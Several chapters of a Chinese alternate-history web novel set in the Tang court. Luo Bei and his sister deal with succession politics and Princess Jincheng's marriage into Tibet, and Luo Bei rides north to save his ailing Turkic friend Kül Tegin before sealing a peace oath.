萧至忠离开政事堂,中书令之位再度悬空。这下朝中的议论风向陡转,人人都在猜测皇帝到底想拔擢谁担任首揆,没人再讨论什么斛律家族。 本该在旋涡中心的政事堂这些日子充满平静异常,宰相们人人心知肚明:皇帝恩赏洛北,是存了托孤之心。皇帝调动萧至忠去辅佐太子,却是为了酬功—— 果然,冬日封笔之前,在灭蝗上立下大功的宰相姚崇进位中书令,成为了政事堂不言而明的首席宰相。 似乎是为了平衡朝局,皇帝还增补了右御史中丞卢怀慎、京兆尹源乾曜入阁参知政事——这两人皆是以道德高尚、为人清正著称的君子。 “陛下为何不愿让阿兄插手政务?” 这一年到了结尾,洛北终于彻底闲下来,在终南山的别馆中与自己的妹妹褚沅共度新年。 他们兄妹各自有自己的事务,忙起来莫说见面相聚,就连睡觉都没有时间。如今各个衙门都封了笔,他们无事忙,便聚在一起堆雪人、打雪仗、吃酒喝茶……似乎要把过往没有的童年都补回来。 屋内的炭盆染得正旺,桌上已经倒空了两个酒壶,盘子里却还剩下不少零嘴。褚沅的一张芙蓉粉面上还残着刚刚那把雪仗留下的热气,坐到桌边时却忍不住问起朝局来。 洛北正在低头替她剥开半个烤得热热的橘子:“怎么突然想起问这个?” “陛下种种考虑,都是在为太子铺路。”褚沅凑前一步,丝质的衣袖扫在竹榻上,发出窸窸窣窣的声响,“如今幽州的郭元振,灵武的李贞,北庭的郭知运、安西的哥舒亶、陇右的哥舒翰和慕容曦光都与阿兄有旧交,他把兵权交给阿兄,就是希望阿兄做大唐的国之干城。” 她眨了眨眼:“若我猜得不错,最迟明年春日,陛下就会任命孝嵩为吏部尚书。可他又把姚相公提到宰相的位置上。姚相公的性子我了解,若叫他执掌大权,他大概是听不太进去别人说话的。” 洛北一笑,把橘子瓣塞进她手里:“你说得婉转了。当年在凉州,我就领教过姚相公的个性,真是如七月烈日,锐不可当。所以郭大帅才一直和他处不来。但整饬时弊、雷厉风行,需要的就是这样的性格。” 褚沅眼波流转:“若论整饬时弊,雷厉风行,阿兄也未必弱于姚相公么……” “哪有这样自家夸自家人的。”洛北取来帕子将手指擦净,又往杯中倒了一杯三勒浆,“我猜陛下是怕我犯错。” “怕你犯错?”褚沅捏着橘瓣的手顿在半空,似乎没明白他的意思。 洛北温言道:“治国理政,总是会得罪人的。陛下是希望我超然物外,不要陷入朝堂这些政治漩涡之中去。” 褚沅应了一声:“我明白了,陛下是要阿兄用军权镇着朝局,好在必要时跳出来平衡局势。” 洛北抓过酒壶,替她满上一杯三勒浆:“不错。” “这样也是件好事。”褚沅轻轻一笑,“任他们在朝上去争,阿兄只管稳坐钓鱼台,可是,太子……” “陛下当然不会让太子和皇后独自应对朝臣,他一定会派人襄助。”洛北转头望着她,“而且此人,沅儿应当早就想到了才是。” “我早该想到了?”褚沅沉吟片刻,忽而眼睛一亮,“我知道了,是太平公主!” 隆熙四年春日,借着筹备金城公主出嫁的东风,太平大长公主同上官太妃一道回归长安。 太平公主的仪仗甫入长安便惊动全城。为着朝中厉行节俭的风气,她没用金丝银线织就的宝盖华服,反倒别出心裁地以鲜花装饰车驾,鲜活之余还多了几分野趣。 长安百姓争相涌上街头来看这位以“乐善好施”著称的公主风采。天子李重俊也在丹墀下亲迎姑母还朝——相王、谯王相继被诛之后,太平公主已是他父亲那辈硕果仅存的宗室亲属之一了。 年仅六岁的太子李宗晖站在他身侧,一起恭迎这位宗室长辈还朝,大大的眼睛却忍不住往太平公主鬓边的牡丹花上瞟:“……父皇,我想要这朵牡丹。” 李重俊低声道:“这是太平公主从洛阳带回来的,君子不夺人所好,你不许要。” “可是我就是想要么……我长了这么大,还从未见过这样好看的牡丹花。” 太平公主笑道:“陛下何必拘着孩子,既然太子想要,微臣有何不给的理由?”她将牡丹花从鬓上取下,递给太子,“喏,再过几日,我再给殿下带新的花,如何?” “可是这花就很好看,是我见过最好看的花。”太子奶声奶气地道,“我想把花送给你,你长得真好看啊,比画上的仙女都好看,你是我见过最好看的人了……” 太平公主哈哈大笑,借机抱起太子,笑吟吟地哄他:“这孩子小小年纪,连‘借花献佛’的招数和哄人的甜言蜜语都学会了。你说,你可是吃了蜂蜜来哄我的?” 李重俊笑道:“让太平姑妈见笑,这孩子被我们惯得没了分寸。” “陛下太客气了。”太平公主将鬓边的两朵牡丹都摘下来递到太子手中,“能与太子结缘,是微臣的荣幸。” 她抬起头,似乎有些感怀:“而且,微臣还不曾谢过陛下宽容相王诸女的恩情……” 第276章 “平阳昭公主能着甲胄同举义旗,姑母为何不能穿紫袍为幼主镇守宗庙?” 李重俊只是微笑, 并不直接回答。 相王子息颇丰,有六子十一女,除却三子李隆基已因谋反被勒令自尽外, 其余在相王叛乱时都还在世。长子李成器甚至带兵围攻玄武门, 结结实实地坐实了谋反叛乱的罪名。 相王事败之后,他的儿女皆同受其罪,被废为庶人。但如何处置却一直悬而未决。确立太子之后,李重俊将此事高高抬起,轻轻放下, 除李成器亦被勒令自尽之外,其余诸人只是被逐出长安了事。 李旦膝下的两个女儿本有向道之心,横遭此祸, 便纷纷上表朝廷请求出家为道,为国祈福,也是为父赎罪。李重俊一应照准。 至于太平公主暗中照拂这些侄女们, 在洛阳为她们修建了华美的道馆和别居, 还塞给她们许多金银财宝……李重俊便睁一眼闭一眼,全当自己不知道。 一向讲求刚正法度的宋璟曾向李重俊提出他此决议量刑过宽,那时候,皇帝是这样回答的: “自大帝去后, 朝野震荡,光政变就有五次之多。” “动乱之后, 宗室凋敝,将来金城公主离开长安之后,这长安城的李姓宗室就更少了, 朕不愿意再在宗室之内掀起风暴。” 太平公主见他一笑,知道皇帝对她的所作所为心知肚明, 便也报以心照不宣的一笑。 他们移步穿过宫城,转向太液池边走去。杨柳被春风吹动拂过白玉雕砌的围栏,两位年轻的女郎正带着一支长长的宫娥队伍向这边走来。 左边那女郎年少一些,云鬓高耸,钗环满头,正是金城公主。右边的一身绯色官袍,头上却别出心裁地戴了一只金色花冠。 她本在侧头听金城公主说话,等到两人走到近前纷纷道礼,太平公主才发现这是褚沅: 昔年那个时时刻刻低眉顺眼,不敢行差踏错一步的女官,如何变成了这般意气飞扬的模样? “太平姑姑。”金城公主笑吟吟地喊她,“今日天气好,难得褚少卿也不忙,我正好请她进宫来和我练吐蕃话。” “褚少卿?”太平公主好奇地重复了一句。 李重俊颔首笑道:“不错,朕应洛卿之请,任命褚夫人为鸿胪寺少卿,专典邦国外交,情报往来。此次金城出嫁的典仪皆由她一手操持。朕还委托她与吐蕃商议朕亲自送婚之事呢。” 太平公主眉头一皱:“陛下犹在病中,却要为金城送婚?这恐怕不太妥当吧?” “这有什么不妥当,长安城夏季闷热,偶尔朕也应该出去看看城外风物。不远走,最多到渭水也就回来了。”李重俊笑眯眯地回答,他打了个手势示意褚沅和金城先走,自己则带着太平公主往另外一边走去。 太平公主心知他这是不想再讨论这个话题,转头将太子交给宫娥,才道: “微臣回朝之时曾听朝野议论,说陛下对洛北恩遇之厚,古今少有。当时微臣还不敢相信,可陛下如今就连洛北救下来的这个宫女都给了这么高的官职,实在是……” 李重俊有些奇怪地看了她一眼:“褚少卿曾与上官太妃同掌制诰,其才能如何,太平姑姑应当是知道的。何况这些年她坐镇碎叶城,政绩极佳,年年吏部都将其列为上等。所以宰相提名她担任鸿胪寺少卿时,朕亦照准,并未有徇私之处。” 他转而轻轻一笑:“太平姑姑莫忘了,昔年太宗以魏徵为镜,如今朝中也有宋璟、卢怀慎这样的谏议官,若此举不妥,他们早就上疏弹劾了。” 太平公主得到了皇帝肯定的答案,脸上的神情却越发凝重: “微臣不是不清楚褚沅的能力,只是此举欠妥。虽说举贤不避亲,可洛北提名褚沅担任鸿胪寺少卿之后,不论褚沅在此职位上做出何等成绩,朝野那些人都会在她背后指指点点,说她是……微臣是为她可惜。” 李重俊释然地一笑:“原来是为了这个,太平姑姑多虑了。民间有句俗话,不知你这次回朝,可曾听过?” “什么俗话?”太平公主敏锐地接过了皇帝递过来的台阶。 “听蝲蝲蛄叫,还不种庄稼了么?”皇帝说完,自己先哈哈大笑起来。 太平公主也只得陪着他笑,心中忧虑却未减少半分。李重俊似乎察觉到她心有戚戚,又开口道: “既然太平姑姑如此担心,不如就留在长安一阵子吧。朕的这个孩子难得同您有缘,您可以住得离东宫近一些,好替朕时时看顾。” 太平公主驻足在玉阑干前,看着池中锦鲤搅碎一池春水,心中也陡然紧了一下,皇帝话里话外的意思是希望她继续留在长安,可他为什么要这么做呢? “洛卿攻无不克,战无不胜,素有大唐军神之称,有他在,大唐往后的三十年内都不会有大仗要打。更难得是他性情沉稳,为人光明,是一柄应当悬在所有人头上的寒光宝剑。” 李重俊折了支辛夷花枝放在手中把玩: “姚崇、宋璟、张说等皆是治世之臣,他们与洛北不睦,恰好可以任用他们运转朝政,保证百姓不受影响。” “至于太平姑姑,”李重俊把手中那支花枝递给她,“朕希望你坐镇宗正寺,镇住那些野心勃勃的宗室,可否?” 太平公主愣住了,脸上的表情说不好是惊喜还是恐惧:“可是,古来未有已经出嫁的女儿执掌宗族事务的……” “北朝便有‘妇主门户’的旧俗。”李重俊轻轻地打断了她,“再说,李唐宗室历经磨难多年,也是时候需要太平姑姑这样的人来弥合他们。” 太平公主接过了那支含苞待放的辛夷花枝,暖风吹过她面前的太液池,湖水泛起阵阵涟漪。 李重俊从宫娥捧着的玉盘中拣起鱼食,撒向池中争食的锦鲤:“再说了,平阳昭公主能着甲胄同举义旗,姑母为何不能穿紫袍为幼主镇守宗庙?” 一尾红鲤跃出水面,水珠溅在太平公主蹙起的眉间。她望着池中自己晃动的倒影,忽然发现鬓角竟有了几缕白发。当年无忧无虑的少女,如今也成了这副模样:“陛下,若是朝臣不许呢?” “朝臣当然不许。”李重俊突然剧烈咳嗽起来,明黄帕子上洇开点点猩红。太平公主下意识要去搀扶,却被对方攥住手腕。 他的眼睛亮得吓人,像两簇在风中摇晃的烛火:“所以朕要姑母在朕活着的时候坐稳这个位置,等朕不在了——” “陛下!”太平公主猛地抽回手,金丝绣凤的广袖扫落玉盘,鱼食哗啦啦洒进池中。锦鲤翻腾的水声里,她听到自己急促的喘息:“陛下春秋鼎盛,何必……” “朕已经过了自欺欺人的阶段了。”李重俊倚着白玉栏杆轻笑:“朕本该月余之前就死去,如今的时日,算是洛北用医术向上天偷来的。所以今日朕必须要把话说明白……太平姑姑,你愿意否?” 太平公主望着水面上的锦鲤,忽然低笑出声:“陛下好精妙的制衡之术。臣掌宗室,洛北掌军权,姚崇掌朝政,三方牵制又互为倚仗。” 她轻轻叹息,看着眼前年轻的君王时眼神中竟有怜悯之意:“既然陛下以江山社稷相托,微臣责无旁贷。” 春风掠过太液池,吹散皇帝鬓角的虚汗。他松开太平公主的手:“好,三日后大朝会,朕会下诏任命姑母为宗正寺卿,加镇国大长公主衔。” “臣还有个条件。”她突然将鱼符按在汉白玉栏杆上,“请陛下允准相王的两个幼女随金城公主入吐蕃游历。 李重俊挑眉:“她们可是已经出家向道了。” “正因如此,才让她们四处游历。”太平公主笑得坦诚,“洛阳的道观不过是个比长安更宽大些的笼子,与其让她们在那里自怨自艾,不如送去雪域看看那里的生活……”她压低声音,“陛下何必担心,要知道,如今执掌鸿胪寺的可是褚沅。” 那位手中有张“网”来收集情报,曾为女皇行走灰暗的褚沅褚女史。 皇帝怔了怔,突然放声大笑。笑声惊得锦鲤们纷纷潜入水中,倒让池畔匆匆赶来的白鹭扑了个空:“朕明白太平姑姑的意思了,太平姑姑思虑深远,朕自愧不如。难怪当年则天太后常说,您最肖她。” 太平公主谦逊地一低头:“陛下谬赞了。” 这一年四月十七日,金城公主正式离宫,踏上她前往吐蕃的漫漫长路。 鸿胪寺赞礼官的长喝声中,九重宫阙次第洞开。 金城公主的车驾缓缓经过宫门,金城公主透过晃动的珠帘望见两旁送亲的人物,洛北一身紫色的郡王袍服,立在最前。 她忍不住微笑起来,想起几天前私下交谈时褚沅的话:“洛将军要我转告公主,苏毗的大唐驻军离公主不到数日路程,若是公主想要找人聊天,苏毗女王赵曳夫一定愿意帮忙。” 车驾停了,四周突然传来山呼海啸般的欢呼。 褚沅捧着婚书,带着吐蕃使节穷桑倭儿芒一道登上城楼,绯色官袍上在阳光下泛着光:“请陛下亲送銮驾。” 李重俊接过婚书,以皇帝印玺盖上印章,又接过吐蕃使节的酒杯:“朕以公主相托赞普,望吐蕃与大唐永守和平,再无战事。” 穷桑倭儿芒双膝跪地,自他手中接过婚书:“吐蕃幸得公主下降,与大唐再为舅甥之盟,愿谨守本份,绝不言战。” 第277章 “为了瞒着我,他竟然连整个于都斤山的人都骗了过去吗?” 盛大的典仪结束之后, 送婚队伍缓缓行进。算上与公主同往吐蕃的工匠、僧侣、乐人,还有想搭着皇家仪仗徙往碛西生活的普通人队伍绵延数里,直到太阳快落山前才行至渭水之滨。 李重俊按古礼下马设帐, 并命众臣赋诗为公主践行。 鸿胪寺少卿褚沅自然担任诗会主人的角色, 她将那些诗稿汇集一处,用素手将此次的诗会之冠交给了即将陪伴公主西行,以大唐中书舍人身份成为“赞普顾问”的萧嵩。 “褚夫人是以诗冠的名号‘嘉其志’啊。”宋璟笑笑地以杯中酒相祝,“那我等也只有以美酒相祝了。” 皇帝留姚崇在长安监国,宋璟是在场众人中年资最长的宰相, 他一开口,众人都别无二话,一道举杯祝贺。倒把萧嵩闹了个脸红, 只躬身道:“微臣必然不负所望。” 诗会结束时已到半夜,众人离帐时,天空中繁星漫天。褚沅扶着金城公主回到金帐中, 转回去监督其余杂务时, 却看到洛北站在河滩上,正望着一川春水缓缓流淌。 “阿兄。”褚沅走过去唤他:“吐蕃人那边结束了?” “穷桑倭儿芒的酒量,要同我比喝酒,下辈子吧。”洛北脸上难得泛起绯红, 说话时的语气难得带着上挑的尾音——这是回到长安之后的洛北少有的意气风发,“陛下他们都回銮驾了?” “是。陛下今日分外动情, 临席赋诗的时候甚至自己落下泪来。”褚沅摇了摇头,“真不知道明日发嫁时他是否能撑得住。” 洛北微微皱眉:“大喜大悲对他的身体可不好。”他的话音收束在一个猛烈终止的尾音里,代以一道锐利更甚天光的刀光—— “是谁?滚出来!” 王训举起双手, 缓缓地从芦苇丛里挪了出来。洛北出手太快,连他自己都没反应过来, 甚至有那么一瞬间,他真的以为自己会命丧这刀光之下:“将军……” “是王训啊。”洛北反手挽了个刀花,把刀刃塞回刀鞘,“你怎么来了?” “我奉您的命令带队巡查营帐,队中有人向我禀报,说抓到了一个鬼鬼祟祟的突厥人。我赶过去一看,才发现是步利将军。”王训道,他曾与步利在青海并肩作战,所以一个照面便把步利认了出来,“我问他前来有何事,步利将军却说有要事要向您当面禀报。” 渭水河畔的萧萧夜风似乎都在此刻停滞下来。洛北轻轻地呼了口气:“步利将军现在在哪里?” 他们在王训的带领下辗转绕开半圈,来到营地最外围的帐篷前。不等王训开场,洛北已经越他一步,一把掀开帐帘,大步走了进去: “阙特勤怎么了?” 步利原本坐在帐中皮毛织成的地毯上,听到这句突厥话时,肩头骤然一颤。他骤然起身,几乎是匍匐在洛北脚下: “伟大的乌特特勤,伟大的可汗,求求您救救他,救救我的主人吧。” 洛北伸手去扶他,目光却不由自主地注意到他的衣袍下摆。那里溅满了泥水留下的点子和青草的碎叶,有些地方甚至被树枝刮破了: “到底出了什么事?” 这位突厥将军的眼下有着浓重的青黑色,他被洛北拉起身时,几乎无法站立。褚沅眼疾手快地给他拉过一只绣墩,才让王训接过他的重量,扶着他坐了下来。 “伯克他已经病得起不来身了。” 步利的声音听上去像一只受伤的野兽正在呜咽。 褚沅忍不住低下了头,她到现在还记得阙特勤在山顶上高呼“我有功业如此,何惧区区春风?”的模样。左右不过一年功夫,那位骄傲的突厥将军,洛北的挚友和兄弟,竟能病成这个样子? 洛北紧紧地皱起了眉,凭借他纵横牙帐的手腕,凭借他笼罩草原的力量,他怎么会对这消息一无所知,除非…… “他不让你们告诉我?” “伯克他,他借口要礼敬祆神,把自己关在石室之中,不许任何人去打扰。”步利擦了擦脸上糊成一片的眼泪:“我是因为要去碧水城,才问他有没有东西要带给在那边学习的几个子侄……若不是我看到他痛得蜷在地上,我也不敢相信……” 洛北深深地叹了口气,这叹息好像是从他心底某个很深的地方发出的:“为了瞒着我,他竟然连整个于都斤山的人都骗了过去吗?” “是,他说只有这样才能骗过您的眼睛。他还逼我发了重誓,命我不得向您透露分毫消息。”步利又忍不住自己的眼泪了,“可我实在不能眼睁睁地看着他……” “好了。” 洛北用自己金棕色的眼眸定定地看着他,直到步利在他的目光之下奇迹般地重新平静下来: “我想你是赶了很久的路才来到长安的,一路辛苦,我会让王训带你去休息。他现在统领我的亲卫……他们很多人都曾和你并肩作战,你可以和他们待在一起。” 他起身拍了拍王训的肩头,那少年已经会意:“将军打算什么时候走?” “很快。”洛北道,“我需要三匹快马,几件袍服和干粮……” “可是卯时金城公主就要发嫁。”褚沅抓住他的臂膀,“那些吐蕃人还需要你坐镇,还有陛下……” “陛下那里我会去说。”洛北解下腰间的唐刀递给她,“若是吐蕃人有变故,你可全权代我行事。” 褚沅有些惊讶地看看手中的唐刀,几乎觉得那把刀有千钧之重:“阿兄怎么能让我执掌军旅呢,我哪有……” “沅儿。”洛北打断了她的话,恭敬地向她微微一拜,“拜托了。” 褚沅的声音顿时哑在喉咙里,她稳住心神,应了句“好”。 李重俊被亲卫叫起身时脑袋还在隐隐作痛。他一边暗念昨夜不该喝那许多酒,一边让两个宫娥为自己穿上皇帝的繁复衣袍。 “碛西郡王前来求见。”他的近侍前来回报,“看样子很着急。” “洛北着急?那叫他进来吧。”李重俊伸手给镜子里的自己正了正冠,“他那种泰山崩于前而不改色的性子也会着急?是吐蕃又翻脸不认人,还是突厥打过来了?” “都不是,陛下。” 说话之间,洛北已从帐外走了进来,他向皇帝行过大礼,开门见山地道:“微臣的旧友,突厥左贤王阙特勤如今病重,危在旦夕,微臣想向陛下告假一月,前去看望这位旧友。” 李重俊整理玉冕的动作骤然停住,帐中只余珠帘碰撞的细碎声响。他缓缓转身,冕旒下的面容在烛火中明暗不定:“阙特勤病危?” “是。”洛北垂首,脊背却挺得笔直,“他这些年随臣征战东西,每逢战阵,必然前驱冲阵,大伤小伤数不胜数,微臣……” “朕知道,你在青海前线倒下来的时候,还是他替你稳固局势。”李重俊踱至案前,指尖摩挲着羊脂玉镇纸:“但吐蕃使团此刻仍在渭水” “微臣已将军权暂托褚沅褚少卿,她是微臣的书记官,在军中还算镇得住。此外,王训会率三百玄甲军随驾护卫。”洛北将一封写好的文书双手递过头顶。 “你连这些都备好了。”李重俊轻轻笑了一声:“洛卿,看来朕就是不许你去,你也会去的,是不是?” 帐外忽起大风,吹得旌旗猎猎作响。洛北抬首直视天颜,金棕眼眸映着跃动的烛火:“是。” “一个人去?”李重俊又问。 “是。” 李重俊轻轻叹息一声:“洛卿啊洛卿,朕曾经听高仙芝说起,你当初在于阗,宁愿自己募兵,也要去破突骑施。如今也是一样……你的眼中,当真没有‘规矩’二字吗?” “若陛下有意降罪,微臣愿意领罪。”洛北神情还是一如既往的平静——李重俊这才咂摸出他那种平静背后很深的骄傲,眼前这个人自信能应对即将发生的一切,不论那到底是什么。 “哪怕朕会以通敌叛国罪名杀了你?”李重俊进了一步。 皇帝的大帐里为之一静——受皇帝恩遇深重,荣耀门楣,几乎堪与北齐斛律家族相比的洛北洛将军会因为这几句对话便被陛下厌弃、打压、乃至赐死么? 洛北再度躬身:“雷霆雨露皆是君恩,陛下若真的要杀臣,微臣无话可说,唯有领死而已。” 李重俊看了他片刻,最终还是摇摇头,挥笔在纸上写下数行字:“出去找今日当值的紫薇女史用印,朕给你一个八百里加急的特许,你就用沿途驿站提供的快马吧。” 洛北没想到皇帝答应得如此轻易:“微臣谢主隆……” “别急着谢恩,你现在可是一个人往敌人的老巢里扎。”李重俊敲了敲桌子打断他:“万事你自己小心,还有,别再轻言生死了。” “朕不会杀你,朕要你活着回来,活着教导太子兵法,活着镇住那些骄兵悍将,活着……”他顿了顿,望向帐外微明的天色,“让朕的儿子不必亲手杀死他的叔伯兄弟。” 洛北退出皇帝驻扎的大帐时,王训牵来的战马已经等候多时,它不安地踏着河滩卵石,似乎在恐惧前路。 洛北安抚它几下,翻身上马,东方的朝阳已经升起,金城公主帐中传来侍女整理妆奁的环佩声。 “驾,驾!”他拨动缰绳,调转马头向北方疾驰而去,青海骢的鬃毛在阳光下翻涌,宛如一片波浪。他俯就马颈,几乎把自己与骏马化为一体,好像这样就能追上那永不停止的时光。 第278章 “看着我的眼睛——你们怎敢在我面前僭称祆神的圣名?!” 于都斤山下百草繁茂, 露珠初生,许多地方已经被繁花覆盖。洛北纵马踏破草原宁静的晨曦,杀到了于都斤山的突厥牙帐前。 几个卫兵不知这风尘仆仆的旅客是何来路, 一个个手持兵刃想要上前阻拦。 洛北翻身跳下马匹, 摘下头上的斗笠,露出那双金棕色的眼眸:“是我,阿史那乌特。” 他的眼眸流转着有如太阳一般的明辉,望之让人生畏,几个卫兵后退半步, 还未反应过来,已经有听着他名字成长的少年人跳起来: “乌特特勤回来了!伟大的乌特特勤回来了!” 居住在此的男女老幼纷纷走出毡帐,跪倒在草地上向这位传说中的英雄行礼。他们将缀满宝石的额带和匕首举过头顶, 以示自己最虔敬的供奉。 牙帐中的毗伽可汗阿史那默矩也听闻此声,他来到草原上的时候,看到的就是这样的一切——曾经的乌特特勤, 现在的大唐郡王, 西突厥大汗,他的同族兄弟,此刻一身汉人的打扮,隔着人群与他对望。 自突厥汗国复国以来, 草原上还从未有任何一位君主完成过他那样的功业,也因此没有任何一位君主获得过他这样的声望。 “默矩。”洛北还是以旧日的名字称呼他:“我来见阙特勤。” 默矩面露苦笑:“他在山间的石室礼敬祆神, 你要去寻他吗?” 洛北轻轻颔首,转身上马,人群如海浪般翻涌, 替他让开一条道路。默矩缓缓地跟在他身后,直到他风一样的身影消失在草海尽头。 于都斤山如往日一般巍峨高耸。洛北在山间的一片湖泊前停下马, 他借着湖泊的倒映,脱掉了沾满灰尘的外袍,露出里面突厥人的白紫华服,抽掉他用来束发的木制发簪,转而重新将发辫垂在脑后。 直到那湖面上的青年又变回了往日的突厥贵胄模样。他才越过萨满们的标记,走过人们献上牺牲时才会走的小路,来到了燃烧着圣火的石室之前。 四五个萨满正在火堆前舞蹈,洛北站在那里,静静地等待着这一支颂歌完毕。 那些萨满们显然也注意到了他,几个节拍之后,那原本缓慢低沉的颂歌陡然加快,把他们的舞步变为风中的狂舞。 最后一支香叶被扔进火堆之时,年老的萨满已经来到洛北身前道礼:“伟大的乌特特勤啊,您不能进去,这山间沉睡着阿史那家族的先祖们,这里有祆神的庇护。” 洛北冷下脸,拉长语调与他对话:“为什么?我也是阿史那家的神狼子孙,拥有祆神赐给我的天命。” “可是,可是,”那萨满被他压得两股战战,勉力咽了口吐沫,才把要说的话说完:“大祭司向祆神献祭自己的生命,你不能” 洛北迫近他一步,那萨满被吓得一个趔趄,摔在地上。他勉强用双手撑地,才没让自己的脑袋也一起砸到地上。 洛北的身影逆着光向他走来,阴影之下,他的面容晦暗不清,唯有那双金棕色的眼眸越发璀璨明亮: “看着我的眼睛——你们怎敢在我面前僭称祆神的圣名?!” 那几个还在火堆之前的年轻萨满望着他的身后,不由得发出一声惊叫,连连后退,直到身体撞到坚硬冰冷的岩壁才反应过来:“他太阳” 在洛北身后,太阳高悬,在太阳两侧又对称地出现了两个明亮的光点,三者共同组成一个圆形的光环,就像某种神明的显示。 “请原谅我们,祆神化身的乌特特勤。”萨满们接二连三地跪倒在地,连老萨满也不得不低下头颅。 洛北越过他时,他察觉到那件白紫色华服下摆的血迹——长安到于都斤山何等遥远,洛北怕是跑死了不止一匹马。 石室里的景象远比洛北想象中更加骇人。曾经的突厥第一勇士此刻蜷在羊毛毡上,身上搭了件厚重的狼皮褥子,周围只有数盏油灯照明,火光映出他凹陷的颧骨和涣散的眼眸: “乌特我的朋友你还是来了。” 洛北单膝跪在地上,反手扣住他的脉搏,脉象虚浮,显然是失血过多久的征兆:“闭嘴省点力气吧。” 他伸手要去掀开那张褥子,却被阙特勤死死抓住。他微微一皱眉,几乎不用多少力量就从阙特勤手中抢走了那张狼皮褥子。 褥子掀开的瞬间,浓重的腐臭味道扑面而来。阙特勤左臂上那道由大食人留下的箭伤正在溃烂,已经成了碗大的创口,脓血正在草草包扎的绷带里渗出来。 阙特勤抬头看他冰冷的脸:“你看起来好像有点生气为什么?我们突厥人从来荣战死,耻病亡我应该死在青海,死在吐蕃,不该” 他的话被洛北塞进口中的药丸挡住,洛北扯下半片干净的羊毛。毡毯,把他裹在毯子里: “等你好了,我可以亲自送你去找诸神和祖先们摔跤。现在——” 阙特勤没有听清他的后半句话就失去了意识。再醒过来时,眼前已是一片洁白的毡帐顶。 这是在于都斤山下,他自己的帐篷里。 他挣扎着起身,接过侍从递来的一杯水,抿了一口,才觉得头脑清明。 他去看自己的左臂,那里腐肉已经被剜去,又用药膏细致涂抹过,如今被人用干净的棉布层层包裹,静待伤口愈合。 “阿史那乌特……”他合上眼,默默地念诵了一遍挚友的名字,似乎确认石室中的洛北不是他的幻想,而是真真切切地回到了草原上。 “阿阙!”默矩得知消息,大步流星地走进毡帐,见他已经清醒过来,脸上露出灿烂的笑容:“太好了,你终于醒了……乌特劝我们率部向大唐称臣……我正想听你的意见。” “乌特还留在草原上吗?”阙特勤用问题止住了自己兄长的喋喋不休,“他自己来的吗?” “是,他一个人来的。”默矩温声回答,“这些日子他无所事事,除了守在你床边,就是在山间与湖泊间闲逛。怎么……”他惊讶地看着阙特勤披起外袍,挣扎着下床,“胡闹什么?他马上就会回来的!” “我有话要问他……”阙特勤猛然灌了自己半碗泡着炒米的奶茶,才来到广袤的草原上。 五月的风裹挟着金莲花的气息扑面而来。草海在晨光中舒展着翡翠般的波浪,远处山麓的雪水融成银链,一路流入被花海环绕的湖泊。 洛北一袭月白色的袍服,立在山间的湖泊前,衣摆上的祥云暗纹在阳光下随风舞动。他手持一支银壶,壶身微倾,将酒液倒入湖水与山间——这是突厥最古老的祭祀山川的仪式。 粼粼波光映在他的眉眼之间,几乎给那张英俊的面容镀上神性的光彩。 “你现在应当好好休息。”洛北没有回头,声音却异常肯定。 阙特勤哈哈大笑,走到他的身边坐了下来:“乌特,你有多少年没回于都斤山了?” “十五年。”洛北答道,他穿着汉人的衣袍,辫发却依旧像个突厥人那样垂下来,“当年若不是你违背大汗密令,放我离开此地,或许今日你我没有这样的机会在一道说话。” “这就是你千里迢迢地从长安赶回来救我的理由?”阙特勤问。 洛北也在湖滩边坐了下来:“我想知道,你为什么一心想要寻死?” “你的时代没有战争。”阙特勤苍白的脸上露出一点不易察觉的笑容,“没有战争,我这样的人便没有用武之地。”他说到末尾,忽而轻轻地叹了口气:“那个时代已经没有我的位置了。” 洛北知道他素来坦率,但听到此话时,还是一怔。他看了一眼阙特勤,知道他不是在说假话,才缓缓地开口: “你想要战争?等你伤好之后,我可以派你去呼罗珊或者吐火罗……那里的大食人骚动不断,我需要你去坐镇局势。” 他站起身,自高处与阙特勤对望:“但在那之前,你要同我回长安吗?” 阙特勤没有第一时间理解他的话:“你说什么?” “和我去长安吧,阙特勤。”洛北温声道,“你的伤口修养还需要时日,草原上的酷暑和蚊子只会帮倒忙。去长安吧,那里的气候更利于你恢复……” 阙特勤撑了几下想要起身,可每次左臂都不听使唤。洛北见他实在为难,伸手把他半抱半扶地拉了起来,阙特勤的身形比他阔大一些,这一下,耗了他不少力气。 阙特勤被他扶起来,目光打量一圈,还是盯着那一片湖水:“这是你的请求,还是你的希望?” 洛北笑了:“如果我说,这是命令呢?” “命令?”阙特勤笑着重复了一句。 “是,这是命令。是大唐郡王、碛西镇守使洛北的命令,也是西突厥大汗、乌特特勤的命令。” 洛北昂首示意,语气沉着——他在等阙特勤的回答。 阙特勤英武的脸上百感交集,他歪头思索片刻,终是半跪在地,以手抚肩: “遵命。” 第279章 “万王之王,天可汗——” 隆熙四年五月十九日, 洛北重新踏上了他阔别十五年的于都斤山上的圣坛。 与十五年前不同,当年那个为默啜执祭的少年已经披上了象征大唐郡王的紫袍,唯有满头发辫披散在风中, 以示不忘祖先的身份。 萨满们低垂着脑袋在他面前点燃火堆, 虔诚而专注的模样好像真的是在神明面前祭祀。 毗伽可汗将那匹用作祭品的白马献到祭坛之上,随着山风的呼啸和萨满的舞蹈,火焰与香烟一道腾空而起。 颂歌曲调一转,变为洛北熟悉的旋律: “我以金弓,向诸部重盟十箭之誓。 愿诸部团结友爱, 永不迷惘。 愿诸部子弟,坚强不屈。 愿西域和平,万年流传。” 洛北手持金弓, 向白马放出一箭,白马连挣扎的机会都没有,就失去了生息。鲜血缓缓流出, 染红了祭坛。 “天神与祖先作证, 以我手中的金弓为记,突厥自此归附大唐,永享和平,再不言战。” “望诸部共遵此誓, 违背者,天下共击之!” 祭坛下万千牧民齐声高呼, 声浪震得山麓积雪簌簌而落。 阙特勤就在这时捧着金盘登上祭坛,盘中躺着的是一把金质的狼头匕首——洛北多年前曾经见过此物,那是阙特勤的父亲, 大汗骨笃禄的遗物。 洛北接过金刀割破掌心,将鲜血滴入圣火之中, 而后是毗伽可汗、阙特勤……以及他们麾下的各部首领,对着圣火与祖先山神,众人齐声发誓,背叛者众人共击之。 山风卷起萨满手中的风马,把这誓言送到天上的祖先们手中。 他们从山间回到草原上时已是暮色四合。毗伽可汗面色凝重,连带阙特勤也不怎么开口。 但草原上的普通牧人并不在乎这些王国的兴衰与落幕,他们只知道自此之后边境的榷场将会开放,大唐与突厥将不再有战争。 盛大的宴会已经开场,草原上到处飘扬着烤肉的焦香,到处满溢着酒液的甘甜滋味,到处是放声歌唱和尽情舞蹈的草原儿女。 “我曾经听阿阙提起你在金山下主办的盛会。”坐到主位之上的毗伽可汗终于露出笑脸,他对洛北道,“或许明年,我们也可以同去此会。” 